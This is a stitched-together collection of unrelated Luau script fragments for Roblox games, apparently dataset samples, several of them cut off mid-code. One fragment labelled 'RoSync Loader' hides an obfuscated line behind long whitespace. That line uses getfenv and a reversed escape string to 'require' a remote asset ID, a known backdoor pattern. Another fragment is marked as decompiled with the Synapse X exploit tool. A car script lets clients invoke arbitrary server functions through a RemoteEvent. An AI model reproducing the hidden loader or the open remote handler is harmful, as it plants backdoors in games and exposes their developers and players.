Roblox/luau_corpus huggingface dataset:
----------------------------------------------------------------------------------------------------------------
function GunUp()
Holstered = false
Tool.Enabled = true
torso = Tool.Parent:FindFirstChild("Torso")
if torso ~= nil then
torso.weld1.C1 = CFrame.new(-.1, 1.25, .6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(10), math.rad(-90))
torso.weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
end
end

function GunDown()
Holstered = true
Tool.Enabled = false -- You don't want to be shooting if your not aiming
torso = Tool.Parent:FindFirstChild("Torso")
if torso ~= nil then
torso.weld1.C1 = CFrame.new(-.1, 1.25, .6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(-10), math.rad(-90))
torso.weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-70), math.rad(-15), 0)
end
end
--[[ Public API ]]--
function ShiftLockController:IsShiftLocked()
	return IsShiftLockMode and IsShiftLocked
end
-- callback is a function that returns T/F
function BoundedQueue:Find(callback, returnNode)
	local curr = self.head
	
	while curr do
		if callback(curr.content) == false then
			curr = curr.next
			continue
		end
		return if returnNode == true then curr else curr.content
	end
end

return BoundedQueue
-- We will enforce mocking scheduler with scheduler/unstable_mock at some point. (v18?)
-- Till then, we warn about the missing mock, but still fallback to a legacy mode compatible version
exports.warnAboutUnmockedScheduler = false
-- Return empty string if children is empty.
function printChildren(
	children: Array<unknown>,
	config: Config,
	indentation: string,
	depth: number,
	refs: Refs,
	printer: Printer
): string
	return Array.join(
		Array.map(children, function(child)
			return config.spacingOuter
				.. indentation
				.. if typeof(child) == "string"
					then printText(child, config)
					else printer(child, config, indentation, depth, refs)
		end),
		""
	)
end
exports.printChildren = printChildren

function printText(text: string, config: Config): string
	-- ROBLOX deviation START: adding default value as we don't support colors
	local colors = config.colors or DEFAULT_COLORS
	local contentColor = colors.content
	-- ROBLOX deviation END
	return contentColor.open .. escapeHTML(text) .. contentColor.close
end
exports.printText = printText

function printComment(comment: string, config: Config): string
	-- ROBLOX deviation START: adding default value as we don't support colors
	local colors = config.colors or DEFAULT_COLORS
	local commentColor = colors.comment
	-- ROBLOX deviation END
	return commentColor.open .. "<!--" .. escapeHTML(comment) .. "-->" .. commentColor.close
end
exports.printComment = printComment
-- Change cooldown based on speed
humanoid:GetPropertyChangedSignal("WalkSpeed"):Connect(function()
    if humanoid.WalkSpeed <= 7 then
        cooldown = 0.4
    else
        cooldown = 0.325
    end
end)
------------------------------------------------------------------------
-- The luai_num* macros define the primitive operations over numbers.
-- * this is not the entire set of primitive operations from luaconf.h
-- * used in luaK:constfolding()
------------------------------------------------------------------------
function luaK:numadd(a, b) return a + b end
function luaK:numsub(a, b) return a - b end
function luaK:nummul(a, b) return a * b end
function luaK:numdiv(a, b) return a / b end
function luaK:nummod(a, b) return a % b end
  -- ((a) - floor((a)/(b))*(b)) /* actual, for reference */
function luaK:numpow(a, b) return a ^ b end
function luaK:numunm(a) return -a end
function luaK:numisnan(a) return not a == a end
  -- a NaN cannot equal another NaN
-- Public methods

function CameraModifier:Destroy()
	self.BaseClass.UpdateMouseBehavior = self.DefaultMouseBehavior
end
--[[ Modules ]]--
local ClickToMoveTouchControls = nil
local ControlModules = {}

local ControlState = {}
ControlState.Current = nil
function ControlState:SwitchTo(newControl)
	if ControlState.Current == newControl then return end

	if ControlState.Current then
		ControlState.Current:Disable()
	end

	ControlState.Current = newControl

	if ControlState.Current then
		ControlState.Current:Enable()
	end
end

function ControlState:IsTouchJumpModuleUsed()
	return isJumpEnabled
end

local MasterControl = require(script:WaitForChild('MasterControl'))
-- server script inside the NPC model 
local humanoid = script.Parent:WaitForChild("Humanoid")

local function onDied()
	for _, part in ipairs(script.Parent:GetChildren()) do
		if part:IsA("BasePart") then
			part.Transparency = 1
			part.Anchored = true
		end
	end
end

humanoid.Died:Connect(onDied)
-- Get sound id
local get_material = function()
	
	local soundTable = footstepModule:GetTableFromMaterial(humanoid.FloorMaterial)
	local randomSound = footstepModule:GetRandomSound(soundTable)
	
	return randomSound
end
--Scripted by DermonDarble

local car = script.Parent
local stats = car.Configurations
local Raycast = require(script.RaycastModule)
local HasDriver = false
local mass = 0

for i, v in pairs(car:GetChildren()) do
	if v:IsA("BasePart") then
		mass = mass + (v:GetMass() * 196.2)
	end
end

local bodyPosition = car.Chassis.BodyPosition
local bodyGyro = car.Chassis.BodyGyro
--
function module:GetShieldSkin(Skin)
	local inv = game.ReplicatedStorage.Inventory.Shields
    for i,v in pairs(inv.Common:GetChildren()) do
	if v.Name == Skin then
		return v.Value
	else
		for i,v in pairs(inv.Rare:GetChildren()) do
		if v.Name == Skin then
		    return v.Value
		else
			for i,v in pairs(inv.Epic:GetChildren()) do
			if v.Name == Skin then
		        return v.Value
			else
				for i,v in pairs(inv.Legendary:GetChildren()) do
				if v.Name == Skin then
		            return v.Value
				else
				print("Couldn't find the skin info")
				return nil
				end
			end
		end
	end
end
end
end
end
end
-- Events
ClientOrchestration.ClientSceneMetadataEvent = Orchestra.Events.ClientEvents.ClientSceneMetadata
ClientOrchestration.SendMediaControllerConfig = Orchestra.Events.MediaControllerConfigEvents.SendMediaControllerConfig
ClientOrchestration.Seek = Orchestra.Events.ClientEvents.Seek
ClientOrchestration.SceneEnded = Orchestra.Events.ClientEvents.SceneEnded
ClientOrchestration.SeekPermissionsEvent = Orchestra.Events.ClientEvents.SeekPermissions

ClientOrchestration.SeekerGuiComponent = nil

ClientOrchestration.playerGui = Players.LocalPlayer:WaitForChild("PlayerGui")

ClientOrchestration.taskLib = task
ClientOrchestration._warn = function(msg)
	warn(msg)
end

ClientOrchestration._require = function(file)
	return require(file)
end

ClientOrchestration.handleSeekPermissionsEvent = function(hasPermission)
	if hasPermission and not ClientOrchestration.SeekerGuiComponent then
		local SeekerGuiElement = ClientOrchestration.Roact.createElement(ClientOrchestration.SeekerGui)

		ClientOrchestration.SeekerGuiComponent = ClientOrchestration.Roact.mount(
			SeekerGuiElement,
			ClientOrchestration.playerGui,
			"SceneSeeker"
		)
	end

	if not hasPermission and ClientOrchestration.SeekerGuiComponent then
		if ClientOrchestration.SeekerGuiComponent then
			ClientOrchestration.Roact.unmount(ClientOrchestration.SeekerGuiComponent)
			ClientOrchestration.SeekerGuiComponent = nil
		end
	end
end

ClientOrchestration.ClientSceneMetadataRequestConnection = nil

ClientOrchestration.setupSchema = function()
	ClientOrchestration.isSeekable = false
	local lastCalledOrchestrationTime = ClientOrchestration.lastCalledOrchestrationTime

	local setupSuccess, setupError = ClientOrchestration.SchemaProcessorInstance:Setup()

	local isSameScene = lastCalledOrchestrationTime == ClientOrchestration.lastCalledOrchestrationTime

	if not setupSuccess then
		ClientOrchestration._warn("Client Schema Setup wasn't successful")
		ClientOrchestration._warn(setupError)
	elseif isSameScene then
		ClientOrchestration.isSeekable = true
	end
	return setupSuccess
end

ClientOrchestration.processSchema = function()
	local processSuccess, processError = ClientOrchestration.SchemaProcessorInstance:Process()

	if not processSuccess then
		ClientOrchestration._warn("Client Schema Process wasn't successful")
		ClientOrchestration._warn(processError)
	end
end

ClientOrchestration.cleanUp = function()
	if ClientOrchestration.SchemaProcessorInstance then
		ClientOrchestration.SchemaProcessorInstance:CleanUp()
	end
end

ClientOrchestration.handleSceneEnded = function()
	if ClientOrchestration.SchemaProcessorInstance then
		local endSceneSuccess, endSceneError = ClientOrchestration.SchemaProcessorInstance:EndScene()
		if not endSceneSuccess then
			ClientOrchestration._warn("Client End Scene wasn't successful")
			ClientOrchestration._warn(endSceneError)
		end
		ClientOrchestration.cleanUp()
	end
end
--			for i,v in pairs(script.Parent.Parent.Body.phone:GetChildren()) do
--				v.Transparency = 0
--			end
			player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
			if player and (not player.PlayerGui:FindFirstChild("Screen")) then --// The part after the "and" prevents multiple GUI's to be copied over.
				GUI.CarSeat.Value = script.Parent --// Puts a reference of the seat in this ObjectValue, now you can use this ObjectValue's value to find the car directly.
				GUI:Clone().Parent = player.PlayerGui --// Compact version
			end
		end
	end
end)

script.Parent.ChildRemoved:connect(function(child)
	if child:IsA("Weld") then
		if child.Part1.Name == "HumanoidRootPart" then
			game.Workspace.CurrentCamera.FieldOfView = 70
			player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
			if player and player.PlayerGui:FindFirstChild("SS3") then
				player.PlayerGui:FindFirstChild("SS3"):Destroy()
-- [[ Dummiez's Data Store Score Board ]]
-- This script updates the Data store with the values from the remote function.

wait(1)

local ods = game:GetService("DataStoreService"):GetOrderedDataStore("TopCoins")

function updateBoard(board, data)
	for k,v in pairs(data) do
		local pos = k
		local name = v.key
		local score = v.value
		local dispname = board:findFirstChild("Name"..pos)
		local dispval = board:findFirstChild("Score"..pos)
		dispname.Text = tostring(name)
		dispval.Text = tostring(score)
	end	
end

while true do
	wait(script.Refresh.Value)
	local pages = ods:GetSortedAsync(false, 10)
	local data = pages:GetCurrentPage()
	updateBoard(game.Workspace.HighScore.ScoreBlock.SurfaceGui, data)
end
--[[ Last synced 10/14/2020 09:42 || RoSync Loader ]]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
-- Compiled with roblox-ts v2.1.0
local default = {
	["0"] = 0,
	["50"] = 0.5,
	["75"] = 0.75,
	["90"] = 0.9,
	["95"] = 0.95,
	["100"] = 1,
	["105"] = 1.05,
	["110"] = 1.1,
	["125"] = 1.25,
	["150"] = 1.5,
}
return {
	default = default,
}
--[[
	Packages up the internals of Roact and exposes a public API for it.
]]

local GlobalConfig = require(script.GlobalConfig)
local createReconciler = require(script.createReconciler)
local createReconcilerCompat = require(script.createReconcilerCompat)
local RobloxRenderer = require(script.RobloxRenderer)
local strict = require(script.strict)
local Binding = require(script.Binding)

local robloxReconciler = createReconciler(RobloxRenderer)
local reconcilerCompat = createReconcilerCompat(robloxReconciler)

local Roact = strict {
	Component = require(script.Component),
	createElement = require(script.createElement),
	createFragment = require(script.createFragment),
	oneChild = require(script.oneChild),
	PureComponent = require(script.PureComponent),
	None = require(script.None),
	Portal = require(script.Portal),
	createRef = require(script.createRef),
	createBinding = Binding.create,

	Change = require(script.PropMarkers.Change),
	Children = require(script.PropMarkers.Children),
	Event = require(script.PropMarkers.Event),
	Ref = require(script.PropMarkers.Ref),

	mount = robloxReconciler.mountVirtualTree,
	unmount = robloxReconciler.unmountVirtualTree,
	update = robloxReconciler.updateVirtualTree,

	reify = reconcilerCompat.reify,
	teardown = reconcilerCompat.teardown,
	reconcile = reconcilerCompat.reconcile,

	setGlobalConfig = GlobalConfig.set,

	-- APIs that may change in the future without warning
	UNSTABLE = {
	},
}

return Roact
-- rotato

for i,v in pairs(script.Parent:GetChildren()) do
	if v.Name == "Propeller" then
		coroutine.resume(coroutine.create(function()
			while task.wait() do
				v.CFrame = v.CFrame * CFrame.Angles(math.rad(15),0,0)
			end
		end))
	end
end
--SSML.Rotation = SSML.Rotation + Vector3.new(0,0,-90)
SSML.Name = "ML"
SSML.Transparency = 1
SSML.CFrame = FL.CFrame
SSML.Attachment.Rotation = Vector3.new(0,0,90)

local SSMR = FR:Clone()
SSMR.CanCollide = false
SSMR.Parent = susp
--F.headLights = function(Tog)
--	for i,v in pairs(script.Parent.Parent.Parent:getChildren()) do
--		if v:FindFirstChild('Head') or v:FindFirstChild('Tail') then
--			v.BGUI.Enabled = (carSeat.Ignition.Value == 1 and Tog or false)
--			v.SpotLight.Enabled = (carSeat.Ignition.Value == 1 and Tog or false)
--		end
--	end
--	carSeat.Headlights.Value = (carSeat.Ignition.Value == 1 and Tog or false)
--end

script.Parent.OnServerEvent:connect(function(Player, Func, ...)
	if F[Func] then
		F[Func](...)
	end
end)
--[[Wheel Alignment]]
	--[Don't physically apply alignment to wheels]
	--[Values are in degrees]
	Tune.FCamber		= -2.5
	Tune.RCamber		= -2
	Tune.FToe			= 0
	Tune.RToe			= 0
-- TODO Luau: needs overloads to model this more correctly
return function<T>(value: { [string]: T } | Array<T> | string): Array<T> | Array<string>
	if value == nil then
		error("cannot extract values from a nil value")
	end
	local valueType = typeof(value)

	local array: Array<T> | Array<string>
	if valueType == "table" then
		array = {} :: Array<T>
		for _, keyValue in pairs(value :: { [string]: T } | Array<T>) do
			table.insert(array, keyValue)
		end
	elseif valueType == "string" then
		-- optimization to avoid rehashing/growth
		local valueStringLength = (value :: string):len()
		array = table.create(valueStringLength)
		for i = 1, valueStringLength do
			(array :: Array<string>)[i] = (value :: string):sub(i, i)
		end
	end

	return array
end
--------------------------------------------------------------------------------
-- 32-BIT BITWISE FUNCTIONS
--------------------------------------------------------------------------------
-- Only low 32 bits of function arguments matter, high bits are ignored
-- The result of all functions (except HEX) is an integer inside "correct range":
-- for "bit" library:    (-TWO_POW_31)..(TWO_POW_31-1)
-- for "bit32" library:        0..(TWO_POW_32-1)
local bit32_band = bit32.band -- 2 arguments
local bit32_bor = bit32.bor -- 2 arguments
local bit32_bxor = bit32.bxor -- 2..5 arguments
local bit32_lshift = bit32.lshift -- second argument is integer 0..31
local bit32_rshift = bit32.rshift -- second argument is integer 0..31
local bit32_lrotate = bit32.lrotate -- second argument is integer 0..31
local bit32_rrotate = bit32.rrotate -- second argument is integer 0..31
-- If you want to know how to retexture a hat, read this:  http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388








debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
		debounce = false
		h = Instance.new("Hat")
		p = Instance.new("Part")
		h.Name = "Hat"   -- It doesn't make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat.
		p.Parent = h
		p.Position = hit.Parent:findFirstChild("Head").Position
		p.Name = "Handle" 
		p.formFactor = 0
		p.Size = Vector3.new(-0,-0,-1) 
		p.BottomSurface = 0 
		p.TopSurface = 0 
		p.Locked = true 
		script.Parent.Mesh:clone().Parent = p
		h.Parent = hit.Parent
		h.AttachmentPos = Vector3.new(0,0.125,-0.325) -- Change these to change the positiones of your hat, as I said earlier.
		wait(5)		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)
-- Making some calculations based on configurations

local waitBetweenSegments = 0.05
local segmentsPerSecond = 1/waitBetweenSegments
local numSegments = range / bulletSpeed * segmentsPerSecond
local segmentLength = range / numSegments
local dropPerSegment = segmentLength * bulletDrop / 100
local dropAngle = -math.tan(dropPerSegment / segmentLength)
-- Modules
local CreateTrail = require(script.CreateTrail)

local SpiralModule = { }

function SpiralModule.Init(Part: BasePart, Properties: table)
	
	-- Properties
	local Frequency = Properties.Frequency or math.huge
	
	-- Physics Properties
	local Radius = Properties.Radius or 2
	local Lifetime = Properties.Lifetime or math.huge
	local Time = Properties.Time or 0.45
	local Offset = Properties.Offset or 0.05
	
	for _ = 1, Frequency do
		local Connection
		local Index = 0
		
		-- Trail Properties
		local Size = Properties.Size or 0.275
		local Color = Properties.Color or Color3.fromRGB(255, 255, 255)
		local Transparency = Properties.Transparency or 0
		
		local Info = TweenInfo.new(Time, Enum.EasingStyle.Linear, Enum.EasingDirection.In, -1)

		local RotationPart = Instance.new('Part')
		RotationPart.Anchored, RotationPart.CanCollide = true, false
		RotationPart.CanTouch, RotationPart.CanQuery = false, false
		RotationPart.CFrame = Part.CFrame * CFrame.new(0, -(Part.Size.Y / 2), 0)
		RotationPart.Size = Vector3.one
		RotationPart.Transparency = 1
		RotationPart.Parent = Part
		
		TweenService:Create(RotationPart, Info, {Orientation = RotationPart.Orientation + Vector3.new(0, 360, 0)}):Play()
		
		local TPart = Instance.new('Part')
		TPart.Anchored, TPart.CanCollide = true, false
		TPart.CanTouch, TPart.CanQuery = false, false
		TPart.CFrame = RotationPart.CFrame
		TPart.Size = Vector3.one
		TPart.Transparency = 1
		TPart.Parent = workspace.Effects
		local Trail = CreateTrail(TPart, Size, Color, Transparency)
		
		Connection = RunService.RenderStepped:Connect(function(Delta)
			Index = (Index + Delta / Lifetime) % 1
			local Alpha = 2 * math.pi * Index
			RotationPart.CFrame = RotationPart.CFrame * CFrame.new(0, Offset, 0)
			TPart.CFrame = RotationPart.CFrame * CFrame.Angles(0, Alpha, 0) * CFrame.new(0, 0, Radius)
		end)

		task.wait(1.35)
		Trail.Enabled = false
		Debris:AddItem(RotationPart, 1)
		Debris:AddItem(TPart, 1)
		
		task.wait(1)
		Connection:Disconnect()
	end
end

return SpiralModule
-- options -------------------------

setupmode = "Auto" -- Manual or Auto (if you want to pick what plugins you have yourself or you want it to be automated)
soundplugin = "StockSound"	-- StockSound, SoundSuite or 1.5 Sound (no others are supported, sorry!) (MANUAL ONLY)
camkey = "v" -- the key you use for first person camera
level = 50 -- 0% - 100% 
exceptions = {"Pedal","Shift"} -- put names of audios to ignore here (AUTO ONLY)
--[[
	Server Module
--]]

local Settings = { --, not ; ? | server module!!
	 BulletHoleTexture = 'http://www.roblox.com/asset/?id=64291961'
	,Damage = {60, 100}
	,OneHanded = false --DONT USE YET
	,FakeArms = true
    ,FakeArmTransparency = 0
    ,RightPos = CFrame.new(-1,0.7,0.45) * CFrame.Angles(math.rad(-90), 0, 0)
	,LeftPos = CFrame.new(0.8,0.8,0.3) * CFrame.Angles(math.rad(-90), math.rad(45), 0)
}

return Settings
-- Decompiled with the Synapse X Luau decompiler.

local l__LocalPlayer__1 = game.Players.LocalPlayer;
local v2 = {
	value = 250
};
local v3 = Instance.new("BindableEvent");
v3.Name = script.Name;
v3.Parent = script;
v2.event = v3;
if game:GetService("ReplicatedStorage"):WaitForChild("GameData"):WaitForChild("InGame").Value == true then
	game.Players.LocalPlayer:WaitForChild("Gold").Changed:connect(function(p1)
		v2.value = p1;
		v3:Fire(p1);
	end);
end;
return v2;
-- MasterWeld by Zephyred
-- Works for all types of parts, unions etc.
function WeldPair(x, y)
	local weld = Instance.new("Weld",x) 
	weld.Part0 = x
	weld.Part1 = y
	weld.C1 = y.CFrame:toObjectSpace(x.CFrame);
end

function WeldAll(model, main) -- model can be anything
	if model:IsA("BasePart") then WeldPair(main, model) end
	for _,v in pairs(model:GetChildren()) do WeldAll(v, main) end	
end

function UnanchorAll(model) -- model can be anything
	if (model:IsA("BasePart")) then model.Anchored = false end
	for _,v in pairs(model:GetChildren()) do UnanchorAll(v) end
end

WeldAll(script.Parent, script.Parent.Part)
UnanchorAll(script.Parent)

script:Destroy() -- Done, clean script up.
--//Setup//--
local Button = script.Parent

local MainButton = Button.MainButton
local ClickDetector = MainButton.ClickDetector
-- Public Virtual
-- This function is called when the state is entered
function BaseState:Enter()

end